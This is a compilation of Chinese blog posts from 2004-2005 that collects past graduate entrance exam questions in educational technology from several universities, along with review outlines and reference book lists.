2. 提出一个在教育中应用信息技术的新创意，使中小学教师和学生受益，并设计出实施方案。

2003年陕师大研究生入学考试教育技术学专业试题
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（一）教育技术学导论（75分）
1、什么是信息技术？什么是教育技术？两者有什么关系？谈谈你的教育技术观？
2、什么是信息素养？信息素养对于当今教育改革有哪些重要意义？
3、请举出教育技术研究的六大热点领域？并就其中一个做详细说明。
4、教育技术在当今教育教学改革中的作用？
5、谈谈建构主义的教学观？

（二）教学设计（75分）

一、填空：1、教学的定义（在教学设计书第一页）2、布卢姆的认知领域目标

二、判断对错并改正
1、学习资源的定义
2、教学评价的定义

三、简答题
1、个别化教学有哪些优点？对于什么样的学生适合，而对什么样的学生不适合？
2、你认为在远距离教学中进行教学设计和在传统的教学中进行教学设计有哪些不同？

四、设计题请你就某一堂课的知识内容进行教学设计，要求字数不少于200字

华东师大2003教育技术考研题
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华东师大教育技术题80分：

一、概述题（每题5分）
1、教育技术 2、课程开发 3、学习理论 4、教育媒体 5、微格教学 6、个别化教学
二、简答题（每题10分）
1、电视作为教学媒体有哪些优缺点，为了增加它的应有范围你有什么建议？
2、以一传播模式为例，说明传播理论的基本观点，它对教育技术的发展起了什么作用？
3、你对计算机网络教育了解多少，为了它更好的发展你有什么建议？
4、教学设计过程包括哪些环节，每一环节需要做哪些具体工作？
5、集体教学中常用哪些媒体？选择媒体时有哪些原则？

另外的70分为C语言和计算机基础题。

- 作者： xlfd2004 2005年01月12日, 星期三 12:50　回复（1） |　引用（0）加入博采

在哪里可以找到有关教育技术的具体信息？生命质感

http://kandy.blogdriver.com/kandy/index.html

由美国国家教育部主办的教育资源信息中心（eric）自1966年起就开始选取有关教育技术
方面的文献，并将1969年以来的主要刊物的文章编入索引。这些文献的摘要可从如下地方
获得：

* 《教育资源》（resources in education），月刊，美国政府印刷办公室出版发行，遍
布世界各地的3500多个图书馆均可查阅。从众多教育技术杂志中检索的精美文章列入：

* 《最新教育刊物论文索引》（current index to journals in education）, 可在许多
图书馆见到，或从oryx 出版社（oryx press, 4041 north central at indian school
road, suite 700, phoenix, az 85012-3397. (800-279-6799) eric database）索取。
从许多学术机构及一些公共图书馆的计算机上检索eric数据库也很方便。同时还可以借助
互联网及一些商业网站查阅。具体问题请致函：

* eric信息与技术专业中心（eric/it）
eric clearinghouse on information & technology (eric/it) 621 skytop road, sui
te 160 syracuse university, syracuse, ny 13244-5290 usa
tel：(315) 443-3640; (800) 464-9107
url: http://ericir.syr.edu/ithome
e-mail: eric@ericir.syr.edu

也有一些专门集中讨论教育技术问题的web站点，它们的网址是：
http://www.aect.org/
http://h-net.msu.edu/~edweb
http://www.askeric.org
eric/it 信息中心有一个关于本领域现状与发展问题的单行本和文摘的出版清单，并出版
行一个通讯，每年更新两次eric/it。而且这两项均可免费获得。

tarsier

2005-06-18 11:46

华南师范大学2000-2002年考研试题华南师范大学2000-2002年考研试题
华南师范大学2000年考研试题
华南师范大学2000年考研试题
教育技术基础
1：Aect94新定义。
2：多媒体，局域网，因特网的优势，如何发挥其优势。
3：教学资源库的类型及如何建设教学资源库。
4：教育技术应用的硬件环境系统，说明其基本组成及功能特点。（举三例）
5：教育技术最基本的教学应用方式，举例说明。
教育传播与研究方法
1：传播的三个阶段。
2：信息的三个定义。
3：模式的定义及功能。
4：符号的本质。
5：麦克卢汉的媒体观。
6：面对面传播和中间媒介的功能差异。
二：
1：教育传播及特点。
2：模式如何建立，简述一种重要的传播模式。
3为何说信息，能量，物质，是世界的三大支柱？
三：自变量，因变量，干扰变量的意义，特点，及如何控制，并举例说明。
四：单组，轮组，等组实验的公式及特征。
五：设计对一语文多媒体课件的评价体系及评价表格的。
六：设计一问卷，包括各种问题呈现方式。
七：音像技术，多媒体技术，局域网技术，因特网技术在教育技术研究中有那些作用。
计算机方向试题
1：CAI的特点，多媒体技术包含的关键技术，计算机网络的组成。网络拓扑结构的组成，为何说是
虚拟网络，因特网的分层结构和功能层，网络操作系统的功能。
2：多媒体CAI软件的类型，各自的功能。
3：多媒体CAI软件包含的交互方式。
4：CAI软件的开发步骤和过程。
5：一种CAI软件开发工具的功能和特点。
6：一种网页制作工具的功能和特点。
7：网站设计的基本步骤和主要工作。
8：编程（C OR PASCAL）
A：100个数，由小到大，删除相同的，以没行5个输出。
B：用相除的算法，求两个数的最大公约数。
C：递归，S=1+1/X+1/X的平方+1/X的三次方+......+1/X的N次方
教育学原理
1：何为学习？在网络时代如何学习？
2：何为课程？制定课程的依据？
3：你的学习类型？根据你的学习类型，如何提高你的学习？
4：你认为如何进行当前高校课程的改革？
5：何为教育目的？何为教育目标？二者之间的异同？
华南师范大学2001年考研试题
教育技术基础题
1：你认为教育技术的研究对象是什么？它包含那些基本的工作内容？有和依据？加以分析说明.
2：请列举你所知道的在中小学种有那些不同类型的教育技术环境，请分别指出其功能.
3:多媒体计算机应用于教育中，它与常规音像媒体间有那些重要的差别，这些差别对教学产生什么影响？
4：由于现代信息技术的迅猛发展，现代教育技术的应用方式也有了较大的发展，现代教育技术的应用方式也有了较大的发展。请列举出现代教育技术教学应用的几种方式，并分别说明它们的特点。
5：由于现代教育技术的发展，教学软件的形态也有了较大的发展，请列出现在应用于教学中的各种不同类型的教学软件的形态并指出其特点.
6:你了解今年来我国开展有关教育技术实验研究有那些重要项目，列举简要说明。
7：你认为应用现代教育技术与推进素质教育之间有何关系，他能发挥那些作用，请加以说明。
8：你认为当前我国应用教育技术的核心问题是什么？为什么？
传播
1：传播的发展经历了那三个历史阶段？
2：模式是什么？，模式的功能有？
3：日常生活信息是指？从从本质上信息是？在信息论上，信息被定义为？
4：非语言符号包含以下几类？
5：麦克鲁汉关于媒体的重要观点是：－，－，－，有重要意义的是？过分渲染的是？毫无意义的是？
6：受者对传播内容的选择表现在：－，－，－，受者对传播媒体的选择有如下的规律性：－，－，－，－，－；
二：简答
1：何谓教育传播，简述教育传播的特点？
2：传播过程模式是如何建立起来的？列举一种重要的传播过程。
3;为什么说信息是构成世界的三打要素之一，信息社会有那些主要特征？
传播研究方法
三：在科学研究方法种，有几中研究变量？它们有何特点？
四：闲要你根据研究的目的，设计一分符合科学要求的问卷，应安怎样的不走进行设计？这份问卷应包含那几部分内容，这份问卷种的提问何回答通常有集中方式？
五：何谓评价亚牛？如果要对一批教学研究成果进行评价，应按那些步奏进行评价研究的设计何实验？每一步奏应含那些工作内容？分别加以说明。
六：现要求你制定一次关于初中语文教学改革实验课题研究方案，这个研究方案应包含那些基本内容，请做简要说明
七：请你以一门课程考试为例，写出一个考试内容双向分布表。
八：为什么要进行统计检验？z检验，t检验和x平方检验，三者的使用对象有和区别？
九：以o代表实验对象，x代表实验变量，y代表反映变量，c代表整个实验结果，试以公式的表示方法，说明几种最基本的实验模式。
华南师范大学2001年考研试题
1． AECT94定义的英语原文及汉译
2．在中国发展教技要强调什么。
3．各类媒体的优势局限适用教学
4．媒体选取的一般程序步骤，举例说明
5．常见学校信息技术环境构成及功用
6．什么是教学设计，理论基础是什么。举例说明。
7．网络课程如何设计。
8．设计一多媒体软件评价指标体系
9．什么是行动研究法，设计一方案
10．设计S——P表评价CAI的教学效果。并说明各分析方法。
11．课程整合。
12．你自己制作软件的工作步骤
13．什么是学习，网络时代的学习有何本质变化
14．你自己的学习特点是什么。规划你三年的研究计划。
15．建构主义的观点。
16．介绍你读过的教学设计书籍，及其发展趋势。
17．什么是科学研究，特征是什么。
18．加涅和布卢姆学习目标分类的异同。
19．从媒体是人体的延伸出发说明媒体的一般特性。

- 作者：冰雪之梦 2004年11月12日，星期五　23:25:05　回复（2） |　引用（0 ）

华南师范大学2000年考研试题2003年华南师大<<教育信息技术与应用>>辅导材料

1、考试目的
本次考试旨在检验考生对教育信息技术及其应用的基本概念、媒体技术、教学环境、教学资源、应用方法和发展热点认识掌握程度，从而判断考生是否能够进入教育技术专业硕士生招生的复试阶段。
11、复习要点
一、　教育信息技术基础
1、信息技术的基本的概念；
如何从广义和狭义的角度去理解"信息技术"。
　2、教育信息技术的内涵；
3、应用于教育领域的信息技术：
1）数字音像技术;
2）卫星电视广播技术；
3）计算机多媒体技术；
4）计算机局域网络技术
5）因特网技术
6）人工智能技术
7）虚拟现实技术。
二、多媒体技术及其教学应用
1、多媒体技术的基本概念：
如何理解"多媒体技术"。
多媒体技术的定义。
2、多媒体技术的基本特征；
3、多媒体信息的类型、主要文件格式与开发工具：
1) 文本；
2) 图形图像；
3) 动画；
4) 音频；
5) 视频。
4、多媒体教学软件(资源)的设计与开发：
1、教学资源的设计：
1) 教学设计
2) 系统设计
2、脚本的编写；
1)文字稿本的编写
2)制作脚本的编写。
3、素材的收集与制作：
1) 文本素材的收集与制作
2) 图形图像的收集与制作
3) 动画的收集与制作；
4) 音频素材的收集与制作
5) 视频素材的收集与制作
4、资源的编辑集成：多媒体编辑工具的运用：
5、测试评价：
6、修改定型。
5、多媒体技术教学应用的基本方式。
三、数学教育电视的编制
1、教育电视的基本概念；
2、教育电视在教育信息化中的作用；
3、教育电视节目的编导：
1) 文学稿本的编写(解说词等)；
2) 分镜稿本的编写(镜头与镜头的组接等)；
3) 教育电视的导演。
4、教育电视节目的制作：
1) 摄像与录像(摄像构图等)；
2) 特技与动画；
3) 编辑与配音。
四、网络教学应用
1、网络教学环境：
1) 概述：类型、结构、功能和特点；
2) 设计与开发；
3) 评价；
2、网络教学资源：
1) 概述：基本类型、特点；
2) 设计与开发
3) 评价。
3、网络教学的基本模式：
1) 教学模式的基本概念；
2) 网络教学模式的基本类型
3) 各种网络教学模式的基本结构和特点。
五、现代远程教育
1、基本概念、定义；
2、远程教育的发展阶段及其特点；
3、现代远程教育的实现方式；
4、我国实施的现代远程教育工程。
六、信息技术教育应用的热点问题
1、应用信息技术，推进素质教育；
2、信息素养；
3、信息技术与学科课程整合；
4、现代远程教育工程；
5、其它问题。
教育信息技术
选作题目：
文科
1、列举出十个教育技术网站，并评价有缺点
2、信息技术与课程整合应该注意问题，知道原则是什么？
理科：
1、教育信息资源开发工具
2、远程教育技术模式
教育技术基础
一、陈述AECT94定义的英文全文，并且指出他的研究对象和研究范畴，并就此发表自己的评论
二、简述建构主义在学习问题上的基本观点，指出建构主义存在那些局限，建构主义对教学有什么影响？
三、教学设计的定义、理论基础、网络环境下的教学设计的一般流程
四、选择一个课程整合的课题，制定一个研究方案
五、根据下面的数据，作出次数分布表，次数分布直方图和次数分布曲线图，并且同正态分布相比较
文科选作：
六、简述加涅的学习的条件和教学论思想，并发表自己的看法
七、简述教育技术观念的变迁，陈述自己的教育技术观念
理科选作：
六、制定一个教学软件的评价指标体系
七、这题记不起来了。

- 作者：冰雪之梦 2004年11月12日，星期五　23:24:42　回复（0） |　引用（0 ）

华南师范大学考研试题2002年招收研究生入学考试试题

教育技术基础理论

第一部分必答题（70）

一、请回答如下问题（15）

1．写出美国AECT94年关于教育技术定义的英文原文和对应的译文。

2．你认为这个定义在哪些方面对中国教育技术的发展具有指导意义？

3．结合当前信息技术迅猛发展的时代特点和中国教育技术的发展现实，你认为在94定义的基础上，我们还应在哪些方面需要更加强调？

二、传播理论是教育技术的重要理论基础，请回答如下问题（15）

1、简述商农—魏佛传播过程模式。

2、请指出信源编码、信道编码、信道译码和信宿译码的作用。

3、简述拉斯威尔传播模式的意思，写出其英文原文

三、说明建构主义学习理论的基本观点，并以网络环境下教与学的过程为例，说明建构主义学习理论的应用模式。（10）

四、以多媒体与网络技术为核心的现代教育技术，其教学应用方式可分为课堂讲授型、个别自主学习型、协商学习型教学和远程教学等，试分别指出上述几种教育技术应用方式的理论基础与技术要求具有哪些不同的特点。（15）

五、请按如下表格方式，分析以多媒体与网络技术为核心的现代教育技术应用和以光学投影技术与模拟电视广播简述为基础的教育技术应用具有哪些不同的特点（15）

优势
局限性

以光学投影媒体与模拟电视技术为基础的教育技术应用

以多媒体与网络为核心的教育技术应用

二、第二部分选答题30

（根据你拟选择的学习方向，选择其中一组题目进行回答，只能把其中的一组问题问答完，不能跨组答题）

A组题（适用于教育信息技术和教学设计方向）

六、请说明建构主义理论及其应用对教学设计理论的方法有何影响？15

七、试分析说明在信息化环境下人类学习方式有何特点15

B组题（适用于教育电视和远程教育方向）

六、教育电视基础理论问题15

1、简述教育电视科学的研究领域

2、简述长镜头理论和短镜头理论在嗲是教材编制种的运用。

七、远程教育基础理论问题15

1、简述远程教育的5个要素和特征

2、简述交互作用与独立学习之间的平衡在远程教育中的作用

C组题（适用于未来教育方向）

六、你在《教育学原理》这门课程的学习与复习中最主要的收获是什么？对你学习和研究教育技术的理论与实践有哪些帮助？10

八、什么是"学习"？选择和确立个人学习与发展目标需要考虑哪几方面因素？总结和剖析你自己学习的特点、个性、优势与弱点，并简述你个人在未来3年硕士研究生期间的学习与发展计划。20

教学媒体技术与应用

第一部分必答题50

一、从"媒体是人体的延伸"这一重要论断出发，说明现代教学媒体的基本的特性并说明影响教学媒体效能的一些基本因素10

二、请按如下表格方式，指出目前学校常用的教育技术应用环境系统的名称、基本构成、功能特点及其适用的教学类型15

序号
系统名称
基本构成
功能特点
适用教学类型

三、请按如下表格方式，指出目前学校常用的教学软件的类型、特点、局限性对其适用的教学类型10

序号
软件类型
特点
局限性
适用教学类型

四、请按如下表格方式把你独立（或参与）设计开发过的其中一类教学软件（幻灯、投影片、电视教材、多媒体课件或教学网页或网站）的教学主题内容，软件设计过程和软件开发步骤作说明介绍15

教学软件类型

教学主题内容

软件设计过程

软件开发步骤

第二部分选答题 50

（根据你拟选择的学习方向，选择其中一组题目进行回答，只能把其中的一组问题问答完，不能跨组答题）

A组题（适用于教育信息技术和教学设计方向）

五、从设计、开发、应用于评价的角度，论述多媒体教学软件设的设计理论基础、开发技术、应用方式和评价标准的特点。15

六、请分析说明，一门课程的多媒体或网络教学软件应包括哪些最基本的组成部分（模块），并说明各部分的作用10

七、结合你熟悉的语言开发工具（如VB, DELPHL, VC,VJ++,C++Bulider等），试述你曾参与或独立开发过的软件项目15

八、试简述WEB的系统结构、基本原理、分析静态网页发布技术与动态网页发布的特点及异同。10

B组题（适用于教育电视和远程教育方向）

五、电视教材设计15

1，设计一段解说词，起提示画面作用（只写画面、解说），并加以说明。

2，设计一个利用动作转场的教学镜头（只写镜号、景别、画面），并加以说明。

六、将下述内容用一组镜头（只写镜号、景别、技巧、画面）表示10

内容：在水中生活的小蝌蚪经过一个半月，渐渐长大，且生长出后肢、前肢，同时把尾巴也逐渐缩短，最后尾巴消失，蝌蚪也就变成了小青蛙。

七、有人在设计远程学习的网络课程时，把整本文字教材都放在网上，以方便学生下载学习，对此你有什么看法，请简要说明。10

八、简述远程教育技术发展的主要阶段和代表媒体，为什么实现实时交互是现代远程教育的关键技术？15

C组题）（适用于未来教育方向）

五、多媒体计算机与过去的计算机有那些本质区别？10

六、网络环境下的学生的学习行为会发生哪些变化？10

七、你在大学或工作过程中，你最喜欢哪个网站，请说明理由。15

八、你认为网络课程设计者应该具备那些基本知识、技能、素养？15

教学设计与研究方法试题

一、教学设计部分40分

1、基本概念20分

（1）试述教学设计的定义，并简述教学设计的理论基础是什么？

（2）简述教学目光的分析过程，说明加涅的学习结果分类和布鲁姆的教学目标分类有何异同？

（3）什么是教学策略？试举出网络环境下常见的教学策略

（4）试述教学媒体选择的一般方法与步骤，并举例说明

2、基于信息技术环境下的教学设计应注意什么问题？5分

3、根据你的实际情况，请选择其中一项，论述其教学设计过程10分

（1）、利用多媒体教学平台进行的课堂组合教学；

（2）、利用多媒体网络进行的网络教学；

（3）多媒体教学软件的开发；

（4）网络课程的开发

（5）专题教学（学习）网站的开发。

4、介绍你所阅读的有关教学设计的论著，并分析教学设计理论的发展情况。5

二、研究方法部分60分

5什么是科学的研究方法？其特征是什么？5分

6．信息技术与课程整合是当前教育技术研究的热点，请选择一项有关的课题并按如下要求撰写一份研究方案15分

1) 课题的陈述；

2) 分析其自变量、因变量和干扰变量；

3) 建立有关的研究假设

4) 确定研究的预期目标

5) 说明采用的实验模式

7、行动研究的特点是什么？试结合上述你所选择的课题，采用行动研究方法，设计一个行动研究的方案10分

8、设计一套关于多媒体教学软件的质量评价指标体系，要求：15分

1) 评价指标体系应包括：指标项系统、权重、简单的标准说明等；

2) 指标项（单指标项）不超过10项

3) 说明获取权重的途径和方法；

9、学习反应信息包括几种类型？请利用S—P表分析方法，设计一项研究活动，以测试计算机辅助教学的效果，要求：15分

1) 说明测试的目的；

2) 说明测试题目的设计方法；

3) 说明教学效果的分析步骤（列出分析的项目及所利用的有关曲线或分析模型的名称）

tarsier

2005-06-18 11:47

四川师范大学2004教育技术四川师范大学2004教育技术

四川师范大学2004教育技术

一、结合实例，阐释教育技术概念中的"技术"的含义，基此谈谈你对教育技术学的知识结构和学科性质的认识。

二、教育信息化的涵义是什么？教育信息化有哪些特征？举例说明。

三、以戴尔"经验之塔"理论来分析"地理课教学中，老师带学生到都江堰参观水利工程和展览，并观看李冰治水的电视片。"这一教学实例，说明教师采用这些教学方法的目的、理论依据和教育意义。（注：都江堰是我国秦朝完成的著名水利工程）

四、微格教学方法的含义是什么？可用在何处？实施微格教学需要哪些设备？用香农—魏佛传播模式对应分析该教学方法的各过程。

五、气味的传播和声音的传播有什么相同和不同的地方？气味是否是一种信息表现形式？为什么？举例子说明。

六、请从器材、软件、方法、制作过程和质量要求等方面，介绍传统的135幻灯胶片怎样制作？数字化的现代幻灯投影软件怎样制作？

七、举出你所知道的一款数字摄象机的名称、机型、结构、性能、功能及功能键名称、镜头特性、接插口名称和用途、有哪些配件？该机型的优缺点各是什么？适宜做什么用途的电视节目？

八、在课堂上，要将彩色照片用多媒体液晶投影器放大投影在屏幕上演示。请说明选用什么设备？怎样连接（画出接线图，并说明接口的名称）？怎样操作？

九、数字网络资源的种类有哪些？各自的特点是什么？分别针对上述网络资源种类的开发列举三种常用工具软件？数字网络资源的设计开发应该实现哪些功能？影响数字网络资源推广应用的因素有哪些？

十、到高原藏区摄影风采，准备拍摄的人物、动物、壁画、雪山、用于幻灯演示、出版、展览。针对上述对象，应分别带上哪些相应的摄像器材？在实际拍摄上述对象时，可能会出现什么问题，技术和艺术上怎样解决？

十一、仔细阅读下列10个教学事件，请逐个分析判断在大学各科教学中其中哪些教学时间应用效果是好的？为什么？哪些教学事件应用的效果是不好的？为什么？你觉得怎样应用才好？

1. 向学生讲解产品利润和成本关系时用录象机和掖晶投影器演示图表。

2. 讲解计算机动画时安排学生们课堂讨论计算机动化的精彩效果。

3. 用不断的小测验来保持和迁移学生掌握的英语知识和应用技能

4. 讲述和板书相结合告知学生濒临动物面临生存危机的问题。

5. 讲述和板书相结合告知学生教学设计课堂第十章"教学事件的内容。

6. 让学生通过计算机网络学习"素描"绘画的技能。

7. 讲述投影器原理时，让学生用小组讨论形式回忆中学学过的物理知识。

8. 向学生提供作业和练习时，用以评价学生对"教学方案" 的掌握和应用。

9. 组织学生动手完成"酸碱中和反映"化学实验。

10. 在黑板上逐步书写，向学生推演微分方程的解题步骤。

十二、现代教育过程模式有以教育者为中心、以学习者为中心和以问题为中心的三种类型。请：

1. 结合实例，分析各种类型教育过程模式的特征。

2. 结合实例，说明在教育实践过程中应该如何选择应用各种模式。

3. 结合信息时代多媒体和网络技术蓬勃发展的特征，针对《图形媒体的教学应用》这一课题，设计一个教学方案，并且简要说明你的设计思想和依据。

- 作者： xlfd2004 2005年01月11日, 星期二 19:52　回复（0） |　引用（0）加入博采

2003年陕师大研究生入学考试教育技术学专业试题 2003年陕师大研究生入学考试教育技术学专业试题

2003年陕师大研究生入学考试教育技术学专业试题- -

（一）教育技术学导论（75分）
1、什么是信息技术？什么是教育技术？两者有什么关系？谈谈你的教育技术观？
2、什么是信息素养？信息素养对于当今教育改革有哪些重要意义？
3、请举出教育技术研究的六大热点领域？并就其中一个做详细说明。
4、教育技术在当今教育教学改革中的作用？
5、谈谈建构主义的教学观？
（二）教学设计（75分）
一、填空：1、教学的定义（在教学设计书第一页）2、布卢姆的认知领域目标
二、判断对错并改正
1、学习资源的定义
2、教学评价的定义
三、简答题
1、个别化教学有哪些优点？对于什么样的学生适合，而对什么样的学生不适合？
2、你认为在远距离教学中进行教学设计和在传统的教学中进行教学设计有哪些不同？
四、设计题请你就某一堂课的知识内容进行教学设计，要求字数不少于200字

- 作者： xlfd2004 2005年01月11日, 星期二 19:44　回复（0） |　引用（0）加入博采

河北大学教育技术学硕士入学考试2001到2004试题河北大学教育技术学硕士入学考试2001到2004试题

河北大学教育技术学硕士入学考试2001到2004试题- -

河北大学教育技术学硕士入学考试2001到2004试题

2004试题

教育技术学

一、简答题
1.说明课堂教学设计的基本内容
2.举例说明什么是无形的智能教育技术
3.解释"媒体一般是灵活的、可以替换的"这一观点
4.说明信息技术对教学过程的影响
5.列举两种网络环境下的群体化的协作学习方式
6.请分别编制一个测验题，检查学生对"教育技术"概念的记忆和理解水平
7.解释医疗电子绩效支持系统的功能
8.举例说明什么是效能工具软件和认知工具软件
9.说明选择教学方法的标准
10.举例说明什么是陈述性先行组织者
二、论述题
1.假设你是一地方的电教馆馆长，请说明并论述你应该如何开展当地的教育技术工作。
（要求：观点明确，论据充分，论证有逻辑性，500字以上）
2.请就下面的观点进行评述：
由于多媒体计算机在教学中具有多种功能，并且在教学中已经得到广泛应用，因此
有人提出：多媒体计算机是一种全能的媒体，它能够代替幻灯、投影、广播、录音、
电影、电视等媒体。（要求：观点明确，论据充分，论证有逻辑性，500字以上）

信息技术教育应用

一、名词解释
HTTP ATM CSS 流媒体群件中间件信息技术面向对象技术
二、简答题
1．简述IP地址与域名的对应关系，举例说明。
2．简述Java script在网页制作中的作用，试写代码加以说明。
3．简述超媒体应用于教学的优势及其可能存在的缺陷。
4．简述传统单机运行的课件和网络课件在教学功能上的异同点。
5．简述互联网提供的可用于教学的交互方式并加以说明。
三、论述
从积件的概念及其思想出发探讨其对网络教学资源库建设的指导意义。

2003年考题

教育技术学试题：

一、简答题：
1.教育技术学的学科性质
2.教育技术学的学科内容
3.教学设计为什么要分析学生及学习内容？
4.教学设计的主要内容
5.远程教育的特点
6.解释教育技术
7.信息化教育的特征
8.解释"抽象性与形象性相结合的原则"
9.选择媒体应遵循的原则
10.安排教学内容的原则
二、论述题
1.如何在教学过程中选择与应用信息技术
2.传播理论对网络教育的影响

计算机辅助教育试题：

一、名词解释并写出英语
WWW CAT CAI 搜索引擎网关微型世界形成性评价桥接器
二、简答
1.从组织结构看课件的类型、并分析其特点
2.课件的制作过程
3.教育信息化的特点及主要内容
4.网络教育有哪些特点
三、论述
1.论教育技术与信息技术的关系
2.教育技术对教学改革的影响

2002年试题

信息技术的教育应用试题：

一.名词解释
教学软件多媒体技术局域网积件信息技术
二、简答
1. 按教学活动组织方式不同，教学软件可分为哪几种类型？分别记忆简单说明。
2.MIDI音乐和WAV声音在表现音频信息方面各有什么优缺点？
3.超媒体应用于教学中可能存在哪些缺陷？
4.智能教学系统的"智能"主要体现在哪几个方面？
三、论述题
1.试论述教学设计和计算机技术在教学软件开发中各有什么作用？
2.和传统教学模式下的教师相比，信息技术环境下的教师角色发生了哪些转变？

教育技术学试题：

一、简答题
1.解释"教育技术"的概念
2.安置性评价的主要功能是什么？
3.网络的教学功能
4.解释"Electronic Performance Support Systems"概念
5.教学内容分析与组织工作的基本任务是什么？
6.现代远程教育的理想
7.传播理论对教育技术的影响
8.网络传播媒体对教学过程的影响
9.举例说明"符号的意义来自经验"的观点
10.现代远程教育的发展趋势
二、综述与论述题
1.概述美国教育技术的发展过程
2.如何从教育的角度来设计教育网站‘

2001年试题

计算机辅助教育试题：

一、名词解释
CAI 脚本超文本高级（教学）目标积件计算机网络资源共享域名音频数字化面向对象技术
二、简答
1.按结构组织的不同，课件可分为哪几种类型？它们各有什么特点？
2.如何把教学目标的形成关系图转变成课件中的教学序列？
3.什么是教学监控系统？教学监控系统的功能有哪些？
4.矢量图形和位图图像在表现图像信息方面的优缺点？
5.信息技术与计算机技术的关系？
三、论述题
1.ICAI系统的智能主要体现在哪里？阻碍IACA发展的"瓶颈"有哪些？
2.试论述课件开发小组的人员结构，他们各自的主要任务是什么？

教育传播学试题：

一、简答
1.多媒体计算机传播媒体的特点
2.教育传播学研究的具体内容
3.说明教育传播系统组成要素及各自的功能
4.信息与符号的关系
5.非语言符号的特性
6.简要说明人对信息加工的内容过程
二、论述
1.论述教育传播过程中媒体与人的关系
2.试分析应用计算机网络媒体教学过程中教师的作用
3.分析多媒体计算机与网络传播媒体对教育的影响。

2004复试题目
一、简答题1、教学设计的地位和作用2、教学设计人员应该具备的素质3、教学设计和教学论的异同。
二论述题：为什么在我国大力推广教育信息化？

- 作者： xlfd2004 2005年01月11日, 星期二 19:42　回复（0） |　引用（0）加入博采

上海师范大学01-04年的考研试题上海师范大学01-04年的考研试题

上海师范大学01-04年的考研试题- -

上海师范大学01-04年的考研试题
01年试题：
一、阐述媒体技术的发展概况（15分）
二、阐述计算机类媒体的优缺点及其在教学中的发展趋势。（15分）
三、论述我国教学改革中教学模式的发展趁势以及现代教育技术在构建新型教学模式中的作用。（15分）
四、试分析集体教学与个别化教学的特点。（20分）
五、写出你阅读过的国内外教育技术领域的期刊、报纸、网站的名称，及阅读后的主要收获和评价。（20分）
六、简述自己近年来在教育技术或自己所从事的领域进行了哪些研究，取得了哪些研究成果？（15分）

02年试题：
一、概念解释（每小题4分，计32分）
1、教育技术学（AECT 94） 2、教育传播、 3、教学过程最优化 4、教学模式
5、多媒体计算机 6、信息高速公路、 7、教育系统设计 8、课程开发
二、问答题（第1～5题每题11分，第6题13分，计68分）
1、教育技术为什么能提高教学效率？
2、简述皮亚杰的建构主义学习理论的主由观点。
3、简述教育史上的四次革命，为什么说教育技术的发展是教育史上的又一次革命？
4、说明计算机辅助教学软件的发展轨迹。
5、阐述多媒体网络教室的主要功能及其优势。
6、简述自己近年来进行了哪些科学研究，取得了哪些理论和实践的成果。

03年试题：
一、概念解释：（每小题6分，计42分）
1、教育技术学（AECT94） 2、学习理论 3、教学效果最优化
4、程序教学 5、多媒体计算机 6、教学设计 7、积件
二、问答题（每小题16分，计80分）
1、试论在我国进行教育改革，实现教育现代化中，教育技术的地位和作用。
2、什么是教学模式？分析建构主义学习理论指导下的教学模式的特点及其与传统教学模式的区别。
3、试论我国教育技术发展的特点。
4、画出韦斯特莱传播模式图，说明各部分的意义，阐述教学信息的传播过程。
5、语言实验室有哪些种类？各有什么功能？目前有什么新发展？
三、根据自己的实际情况回答下述问题（28分）
简述自己近年来在教育技术或自己从事的专业领域进行了哪些科学研究，取得了哪些理论和实践的成果？
上海师范大学2004年硕士研究生入学考试试题
（教育技术学）
一、概念解释：
1．信息化教育──
2．信息化教学设计──
3．AECT ──
4．数字化图书馆──
5．rubric──
6．概念图——
7．Blog──
8．电化教育──
9．经验之塔——
10．Portfolio Assessment——
二、填空题：
1．我国教育技术学领域的2份核心期刊是《》，杂志的主编是：( ）；和《》，杂志的主编是：( ）。
2．中国最早使用"电化教育"名词是（）年，在（）。
3．布卢姆提出的教育目标分类学，将认知领域的教学目标从底级到高级分为：（）、（）、（）、（）、（）、（）六个层次。
4．信息化教学设计的8个步骤：（）、（）、（）、（）、（）、（）、（）、（）。
三、简述题：
1、教育技术在中国发展的主要经验是什么？
2、简述斯金纳的程序教学理论。
3、中小学生的信息素养包含哪些重要内容？
4、简述如何尊重网络上的知识产权，如何在教学中合理使用他人的资料。
5、举例说明教学评价量规的设计。
6、简述信息化教学设计的基本原则。
四、设计题
1、自选一个教学内容，设计一个WebQuest教案。
（1）介绍
（2）任务
（3）资源
（4）过程
（5）学习建议
（6）评价
2. 提出一个在教育中应用信息技术的新创意，使中小学教师和学生受益，并设计出实施方案。

- 作者： xlfd2004 2005年01月11日, 星期二 19:40　回复（0） |　引用（0）加入博采

西南师大教育技术学专业2005年入学考试西南师大教育技术学专业2005年入学考试

西南师大教育技术学专业2005年入学考试，《教育技术学
西南师大教育技术学专业2005年入学考试，《教育技术学基础》题型

一、术语解释（30分左右）

 如：经验之塔

二、简答和简述（60分左右）

 如：简析教育信息化的基本特征

三、论述和综述（20分左右）

四、综合设计（40分左右）

西南师大教育技术学硕士研究生2005入学考试科目及复习参考书
2004年 10月01日
初试：

1、"教育技术学基础"（含教育技术学导论、教学设计）

2、"计算机应用基础"（含C程序设计、网络技术基础）

参考书目：

1、《现代教育技术——走进信息化教育》，祝智庭主编，高等教育出版社，2001年版。

2、《教学系统化设计》（第五版翻译版）， Walter Dick, Lou Carey and James O. Carey著, 汪琼译，高等教育出版社，2004版。

3、《C程序设计》（第二版），谭浩强，清华大学出版社。

4、《计算机网络应用技术教程》，谭浩强主编吴功宜吴英编著，清华大学出版社，2002年版。


复试综合考试：

"多媒体技术及其教育应用"（含多媒体技术原理、多媒体信息处理、多媒体课件制作）

参考书目：

《多媒体技术应用教程》（第三版），赵子江编著，机械工业出版社。


同等学历加试科目：

1、"教育传播学"

2、"教育影视编导

- 作者： xlfd2004 2005年01月11日, 星期二 19:08　回复（2） |　引用（0）加入博采

河北大学01-04年硕士入学考试题河北大学01-04年硕士入学考试题

河北大学01-04年硕士入学考试题

2001年试题

计算机辅助教育试题：

一、名词解释
CAI 脚本超文本高级（教学）目标积件计算机网络资源共享域名音频数字化面向对象技术
二、简答
1.按结构组织的不同，课件可分为哪几种类型？它们各有什么特点？
2.如何把教学目标的形成关系图转变成课件中的教学序列？
3.什么是教学监控系统？教学监控系统的功能有哪些？
4.矢量图形和位图图像在表现图像信息方面的优缺点？
5.信息技术与计算机技术的关系？
三、论述题
1.ICAI系统的智能主要体现在哪里？阻碍IACA发展的"瓶颈"有哪些？
2.试论述课件开发小组的人员结构，他们各自的主要任务是什么？

教育传播学试题：

一、简答
1.多媒体计算机传播媒体的特点
2.教育传播学研究的具体内容
3.说明教育传播系统组成要素及各自的功能
